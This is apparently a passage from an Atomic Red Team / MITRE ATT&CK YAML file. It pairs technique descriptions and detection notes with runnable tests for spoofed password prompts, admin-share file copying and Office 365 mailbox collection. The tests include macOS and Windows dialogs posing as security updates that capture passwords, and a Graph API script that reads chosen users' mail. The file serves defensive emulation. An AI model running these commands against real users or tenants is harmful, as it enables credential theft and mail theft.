        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
      - source_name: Enigma Phishing for Credentials Jan 2015
        description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If
          you want it, just ask!. Retrieved December 17, 2018.'
        url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
      - source_name: OSX Malware Exploits MacKeeper
        description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits
          Mackeeper. Retrieved July 3, 2017.
        url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1056.002
    atomic_tests:
    - name: AppleScript - Prompt User for Password
      auto_generated_guid: 76628574-0bc1-4646-8fe2-8f4427b47d15
      description: |
        Prompt User for Password (Local Phishing)
        Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
      supported_platforms:
      - macos
      executor:
        command: 'osascript -e ''tell app "System Preferences" to activate'' -e ''tell
          app "System Preferences" to activate'' -e ''tell app "System Preferences"
          to display dialog "Software Update requires that you type your password
          to apply changes." & return & return  default answer "" with icon 1 with
          hidden answer with title "Software Update"''

          '
        name: bash
    - name: PowerShell - Prompt User for Password
      auto_generated_guid: 2b162bfd-0928-4d4c-9ec3-4d9f88374b52
      description: |
        Prompt User for Password (Local Phishing) as seen in Stitch RAT. Upon execution, a window will appear for the user to enter their credentials.

        Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py
      supported_platforms:
      - windows
      executor:
        command: "# Creates GUI to prompt for password. Expect long pause before prompt
          is available.    \n$cred = $host.UI.PromptForCredential('Windows Security
          Update', '',[Environment]::UserName, [Environment]::UserDomainName)\n# Using
          write-warning to allow message to show on console as echo and other similar
          commands are not visable from the Invoke-AtomicTest framework.\nwrite-warning
          $cred.GetNetworkCredential().Password\n"
        name: powershell
    - name: AppleScript - Spoofing a credential prompt using osascript
      auto_generated_guid: b7037b89-947a-427a-ba29-e7e9f09bc045
      description: |
        Prompt user for password without requiring permissions to send Apple events to System Settings.
        https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/
      supported_platforms:
      - macos
      executor:
        command: |
          PWD_SPOOF=$(osascript -e 'display dialog "To perform a security update MacOS needs your passphrase." with title "MacOS Security Update" default answer "" with icon stop with hidden answer')
          echo $PWD_SPOOF
        name: bash
  T1039:
    technique:
      modified: '2023-08-11T21:06:07.690Z'
      name: Data from Network Shared Drive
      description: Adversaries may search network shares on computers they have compromised
        to find files of interest. Sensitive data can be collected from remote systems
        via shared network drives (host shared directory, network file server, etc.)
        that are accessible from the current system prior to Exfiltration. Interactive
        command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106)
        may be used to gather information.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_contributors:
      - David Tayouri
      x_mitre_deprecated: false
      x_mitre_detection: Monitor processes and command-line arguments for actions
        that could be taken to collect files from a network share. Remote access tools
        with built-in features may interact directly with the Windows API to gather
        data. Data may also be acquired through Windows system management tools such
        as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Network Share: Network Share Access'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'File: File Access'
      x_mitre_system_requirements:
      - Privileges to access network shared drive
      type: attack-pattern
      id: attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c
      created: '2017-05-31T21:30:41.022Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1039
        external_id: T1039
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1039
    atomic_tests:
    - name: Copy a sensitive File over Administrative share with copy
      auto_generated_guid: 6ed67921-1774-44ba-bac6-adb51ed60660
      description: |-
        Copy from sensitive File from the c$ of another LAN computer with copy cmd
        https://twitter.com/SBousseaden/status/1211636381086339073
      supported_platforms:
      - windows
      input_arguments:
        remote:
          description: Remote server name
          type: string
          default: 127.0.0.1
        share_file:
          description: Remote Path to the file
          type: path
          default: Windows\temp\Easter_Bunny.password
        local_file:
          description: Local name
          type: string
          default: Easter_egg.password
      dependency_executor_name: powershell
      dependencies:
      - description: 'Administrative share must exist on #{remote}

          '
        prereq_command: 'if (Test-Path "\\#{remote}\C$") {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host ''Please Enable "C$" share on #{remote}''

          '
      - description: '"\\#{remote}\C$\#{share_file}" must exist on #{remote}

          '
        prereq_command: 'if (Test-Path "\\#{remote}\C$\#{share_file}") {exit 0} else
          {exit 1}

          '
        get_prereq_command: 'Out-File -FilePath "\\#{remote}\C$\#{share_file}"

          '
      executor:
        command: copy \\#{remote}\C$\#{share_file} %TEMP%\#{local_file}
        cleanup_command: |-
          del \\#{remote}\C$\#{share_file}
          del %TEMP%\#{local_file}
        name: command_prompt
        elevation_required: true
    - name: Copy a sensitive File over Administrative share with Powershell
      auto_generated_guid: 7762e120-5879-44ff-97f8-008b401b9a98
      description: |-
        Copy from sensitive File from the c$ of another LAN computer with powershell
        https://twitter.com/SBousseaden/status/1211636381086339073
      supported_platforms:
      - windows
      input_arguments:
        remote:
          description: Remote server name
          type: string
          default: 127.0.0.1
        share_file:
          description: Remote Path to the file
          type: path
          default: Windows\temp\Easter_Bunny.password
        local_file:
          description: Local name
          type: string
          default: Easter_egg.password
      dependency_executor_name: powershell
      dependencies:
      - description: 'Administrative share must exist on #{remote}

          '
        prereq_command: 'if (Test-Path "\\#{remote}\C$") {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host ''Please Enable "C$" share on #{remote}''

          '
      - description: '"\\#{remote}\C$\#{share_file}" must exist on #{remote}

          '
        prereq_command: 'if (Test-Path "\\#{remote}\C$\#{share_file}") {exit 0} else
          {exit 1}

          '
        get_prereq_command: 'Out-File -FilePath "\\#{remote}\C$\#{share_file}"

          '
      executor:
        command: copy-item -Path "\\#{remote}\C$\#{share_file}" -Destination "$Env:TEMP\#{local_file}"
        cleanup_command: |-
          Remove-Item -Path "\\#{remote}\C$\#{share_file}"
          Remove-Item -Path "$Env:TEMP\#{local_file}"
        name: powershell
        elevation_required: true
  T1114.002:
    technique:
      modified: '2023-05-31T12:34:03.420Z'
      name: 'Email Collection: Remote Email Collection'
      description: Adversaries may target an Exchange server, Office 365, or Google
        Workspace to collect sensitive information. Adversaries may leverage a user's
        credentials and interact directly with the Exchange server to acquire information
        from within a network. Adversaries may also access externally facing Exchange
        services, Office 365, or Google Workspace to access email using credentials
        or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413)
        can be used to automate searches for specific keywords.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor for unusual login activity from unknown or abnormal
        locations, especially for privileged accounts (ex: Exchange administrator
        account).'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Office 365
      - Windows
      - Google Workspace
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Logon Session: Logon Session Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      type: attack-pattern
      id: attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a
      created: '2020-02-19T18:52:24.547Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1114/002
        external_id: T1114.002
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1114.002
    atomic_tests:
    - name: Office365 - Remote Mail Collected
      auto_generated_guid: 36657d95-d9d6-4fbf-8a31-f4085607bafd
      description: "Create and register an entra application that downloads emails
        from a tenant's Office 365 mailboxes using the Microsoft Graph API app-only
        access. This can be used by an adversary to collect an organization's sensitive
        information. \n"
      supported_platforms:
      - office-365
      input_arguments:
        username:
          description: Full username (including @domain) of Entra user w/ AppRoleassignment.ReadWrite.All
            and Application.ReadWrite.All Scope (eg, Global Administrator Role) and
            sign-in method is password
          type: string
          default: 
        password:
          description: Entra user password
          type: string
          default: 
        1st_target_mailbox:
          description: office-365 target_email_address
          type: string
          default: 
        2nd_target_mailbox:
          description: office-365 target_email_address
          type: string
          default: 
        3rd_target_mailbox:
          description: office-365 target_email_address
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Graph PowerShell SDK must be installed.

          '
        prereq_command: |
          $RequiredModule = Get-InstalledModule Microsoft.Graph
          if (-not $RequiredModule) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module Microsoft.Graph -Scope CurrentUser

          '
      - description: 'Az.Accounts module must be installed.

          '
        prereq_command: |
          $RequiredModule2 = Get-InstalledModule Az.Accounts
          if (-not $RequiredModule2) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module Az.Accounts -Scope CurrentUser

          '
      executor:
        command: "$ss = ConvertTo-SecureString \"#{password}\" -AsPlainText -Force\n$cred
          = New-Object PSCredential -ArgumentList '#{username}', $ss\n$param = @{\n
          \   Credential = $cred\n    Force      = $true\n}\n$null = Connect-AzAccount
          @param\n$token = (Get-AzAccessToken -ResourceTypeName MSGraph -ErrorAction
          Stop).token\n$cert = New-SelfSignedCertificate -Subject \"CN=PowerShell
          Application\" -CertStoreLocation \"Cert:\\CurrentUser\\My\" -KeyExportPolicy
          Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm
          SHA256\n$reqResourceAccess = ( @{ \"resourceAccess\" = (@{\"id\"= \"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\";
          \"type\"= \"Scope\"}, @{ \"id\"= \"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\";
          \"type\"= \"Scope\"}, @{\"id\"= \"37f7f235-527c-4136-accd-4a02d197296e\";
          \"type\"= \"Scope\"}, @{\"id\"= \"14dad69e-099b-42c9-810b-d002981feec1\";
          \"type\"= \"Scope\"}, @{ \"id\"= \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\";
          \"type\"= \"Scope\"}, @{ \"id\"= \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\";
          \"type\"= \"Role\"}); \"resourceAppId\" = \"00000003-0000-0000-c000-000000000000\"
          })\nconnect-mggraph -AccessToken $token\n$context = Get-MgContext       \n$users
          = get-MgUser\n$app = New-MgApplication -DisplayName \"T1114.002 Atomic Test
          #1 - Office365 - Remote Email Collection\" -RequiredResourceAccess $reqResourceAccess
          -Web @{ RedirectUris=\"http://localhost\"; } -KeyCredentials @(@{ Type=\"AsymmetricX509Cert\";
          Usage=\"Verify\"; Key=$cert.RawData })\nNew-MgServicePrincipal -AppId $app.appId
          -AdditionalProperties @{} | Out-Null\n$resourceSPN = Get-MgServicePrincipal
          -Filter \"AppId eq '$($app.AppId)'\"\n$graphApiApp = Get-MgServicePrincipal
          -Filter \"DisplayName eq 'Microsoft Graph'\"\n$mailRole = $graphApiApp.AppRoles|Where-Object
          Value -Eq \"Mail.Read\"\nNew-MgServicePrincipalAppRoleAssignment -ServicePrincipalId
          $resourceSPN.Id -PrincipalId $resourceSPN.Id -ResourceId $graphApiApp.id
          -AppRoleId $mailRole.Id\n$mailbox1 = \"#{1st_target_mailbox}\"\n$mailbox2
          = \"#{2nd_target_mailbox}\"\n$mailbox3 = \"#{3rd_target_mailbox}\"\n[System.Collections.ArrayList]$selectUsers
          = @()\nforeach ($user in $users) {if (($user.Mail -eq $mailbox1) -Or ($user.Mail
          -eq $mailbox2) -Or ($user.Mail -eq $mailbox3)){$selectUsers.Add($user.id)}}\nconnect-mggraph
          -ClientId $app.AppId -TenantId $context.TenantId -CertificateName $cert.Subjectname.Name\nforeach
          ($user in $selectUsers) { $url= \"https://graph.microsoft.com/v1.0/users/$($user)/messages\"
          ; Invoke-MgGraphRequest -Uri $url -Method GET -OutputType PSObject}\n"
        cleanup_command: |
          connect-mggraph -Scopes AppRoleAssignment.ReadWrite.All,Application.ReadWrite.All,User.Read -NoWelcome
          Remove-MgApplication $app.AppId
          Remove-Item -Path Cert:\CurrentUser\My\$($cert.thumbprint) -DeleteKey
          Disconnect-MgGraph
        name: powershell
        elevation_required: false
  T1056:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Input Capture
      description: Adversaries may use methods of capturing user input to obtain credentials
        or collect information. During normal system usage, users often provide credentials
        to various different locations, such as login pages/portals or system dialog
        boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential
        API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving
        the user into providing input into what they believe to be a genuine service
        (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - John Lambert, Microsoft Threat Intelligence Center
      x_mitre_detection: 'Detection may vary depending on how input is captured but
        may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`,
        `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke),
        monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059),
        and ensuring no unauthorized drivers or kernel modules that could indicate
        keylogging or API hooking are present.'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Metadata'
      - 'Process: OS API Execution'
      - 'Driver: Driver Load'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - root
      - User
      type: attack-pattern
      id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2
      created: '2017-05-31T21:30:48.323Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1056
        external_id: T1056
      - source_name: Adventures of a Keystroke
        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
          look into keyloggers on Windows. Retrieved April 27, 2016.'
        url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
    atomic_tests: []
  T1557.002:
    technique:
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213
      created: '2020-10-15T12:05:58.755Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1557.002
        url: https://attack.mitre.org/techniques/T1557/002
      - source_name: Cylance Cleaver
        url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
        description: Cylance. (2014, December). Operation Cleaver. Retrieved September
          14, 2017.
      - source_name: RFC826 ARP
        url: https://tools.ietf.org/html/rfc826
        description: Plummer, D. (1982, November). An Ethernet Address Resolution
          Protocol. Retrieved October 15, 2020.
      - source_name: Sans ARP Spoofing Aug 2003
        url: https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411
        description: Siles, R. (2003, August). Real World ARP Spoofing. Retrieved
          October 15, 2020.
      x_mitre_deprecated: false
      revoked: false
      description: |
        Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).

        The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.

        An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.

        The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)

        Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)
      modified: '2022-11-08T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: ARP Cache Poisoning
      x_mitre_detection: "Monitor network traffic for unusual ARP traffic, gratuitous
        ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches
        across endpoints for signs of ARP poisoning. For example, if multiple IP addresses
        map to a single MAC address, this could be an indicator that the ARP cache
        has been poisoned."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1213.003:
    technique:
      modified: '2022-10-18T22:44:01.723Z'
      name: Code Repositories
      description: |-
        Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.

        Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code.  Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)

        **Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: Monitor access to code repositories, especially performed
        by privileged users such as Active Directory Domain or Enterprise Administrators
        as these types of accounts should generally not be used to access code repositories.
        In environments with high-maturity, it may be possible to leverage User-Behavioral
        Analytics (UBA) platforms to detect and alert on user-based anomalies.
      x_mitre_platforms:
      - SaaS
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Itamar Mizrahi, Cymptom
      - Toby Kohlenberg
      - Josh Liburdi, @jshlbrd
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Logon Session: Logon Session Creation'
      type: attack-pattern
      id: attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3
      created: '2021-05-11T18:51:16.343Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1213/003
        external_id: T1213.003
      - source_name: Wired Uber Breach
        description: 'Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off
          Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.'
        url: https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/
      - source_name: Krebs Adobe
        description: Brian Krebs. (2013, October 3). Adobe To Announce Source Code,
          Customer Data Breach. Retrieved May 17, 2021.
        url: https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1213:
    technique:
      modified: '2024-03-01T16:27:47.391Z'
      name: Data from Information Repositories
      description: "Adversaries may leverage information repositories to mine valuable
        information. Information repositories are tools that allow for storage of
        information, typically to facilitate collaboration or information sharing
        between users, and can store a wide variety of data that may aid adversaries
        in further objectives, or direct access to the target information. Adversaries
        may also abuse external sharing features to share sensitive documents with
        recipients outside of the organization. \n\nThe following is a brief list
        of example information that may hold potential value to an adversary and may
        also be found on an information repository:\n\n* Policies, procedures, and
        standards\n* Physical / logical network diagrams\n* System architecture diagrams\n*
        Technical system documentation\n* Testing / development credentials\n* Work
        / project schedules\n* Source code snippets\n* Links to network shares and
        other internal resources\n\nInformation stored in a repository may vary based
        on the specific instance or environment. Specific common information repositories
        include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002)
        and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific
        services such as Code Repositories, IaaS databases, enterprise databases,
        and other storage infrastructure such as SQL Server."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_contributors:
      - Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)
      - Regina Elwell
      - Praetorian
      - Milos Stojadinovic
      - Isif Ibrahima, Mandiant
      x_mitre_deprecated: false
      x_mitre_detection: "As information repositories generally have a considerably
        large user base, detection of malicious use can be non-trivial. At minimum,
        access to information repositories performed by privileged users (for example,
        Active Directory Domain, Enterprise, or Schema Administrators) should be closely
        monitored and alerted upon, as these types of accounts should generally not
        be used to access information repositories. If the capability exists, it may
        be of value to monitor and alert on users that are retrieving and viewing
        a large number of documents and pages; this behavior may be indicative of
        programmatic means being used to retrieve all data within the repository.
        In environments with high-maturity, it may be possible to leverage User-Behavioral
        Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe
        user access logging within Microsoft's SharePoint can be configured to report
        access to certain pages and documents. (Citation: Microsoft SharePoint Logging)
        Sharepoint audit logging can also be configured to report when a user shares
        a resource. (Citation: Sharepoint Sharing Events) The user access logging
        within Atlassian's Confluence can also be configured to report access to certain
        pages and documents through AccessLogFilter. (Citation: Atlassian Confluence
        Logging) Additional log storage and analysis infrastructure will likely be
        required for more robust detection capabilities. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      - SaaS
      - Office 365
      - Google Workspace
      - IaaS
      x_mitre_version: '3.3'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1213
        external_id: T1213
      - source_name: Atlassian Confluence Logging
        description: Atlassian. (2018, January 9). How to Enable User Access Logging.
          Retrieved April 4, 2018.
        url: https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html
      - source_name: Microsoft SharePoint Logging
        description: Microsoft. (2017, July 19). Configure audit settings for a site
          collection. Retrieved April 4, 2018.
        url: https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2
      - source_name: Sharepoint Sharing Events
        description: Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October
          8, 2021.
        url: https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1602.001:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5
      type: attack-pattern
      created: '2020-10-19T23:51:05.953Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1602.001
        url: https://attack.mitre.org/techniques/T1602/001
      - source_name: SANS Information Security Reading Room Securing SNMP Securing
          SNMP
        url: https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051
        description: 'Michael Stump. (2003). Information Security Reading Room Securing
          SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.'
      - source_name: US-CERT-TA18-106A
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - source_name: Cisco Advisory SNMP v3 Authentication Vulnerabilities
        url: https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3
        description: Cisco. (2008, June 10). Identifying and Mitigating Exploitation
          of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October
          19, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: SNMP (MIB Dump)
      description: "Adversaries may target the Management Information Base (MIB) to
        collect and/or mine valuable information in a network managed using Simple
        Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository
        that stores variable information accessible via SNMP in the form of object
        identifiers (OID). Each OID identifies a variable that can be read or set
        and permits active management tasks, such as configuration changes, through
        remote modification of these variables. SNMP can give administrators great
        insight in their systems, such as, system information, description of hardware,
        physical location, and software packages(Citation: SANS Information Security
        Reading Room Securing SNMP Securing SNMP). The MIB may also contain device
        operational information, including running configuration, routing table, and
        interface details.\n\nAdversaries may use SNMP queries to collect MIB content
        directly from SNMP-managed devices in order to collect network information
        that allows the adversary to build network maps and facilitate future targeted
        exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device
        Attacks) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: 'Identify network traffic sent or received by untrusted hosts
        or networks that expose MIB content or use unauthorized protocols.(Citation:
        Cisco Advisory SNMP v3 Authentication Vulnerabilities)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1056.004:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6
      type: attack-pattern
      created: '2020-02-11T19:01:15.930Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1056.004
        url: https://attack.mitre.org/techniques/T1056/004
      - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017
        description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I.
          Retrieved December 18, 2017.
        url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918
      - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
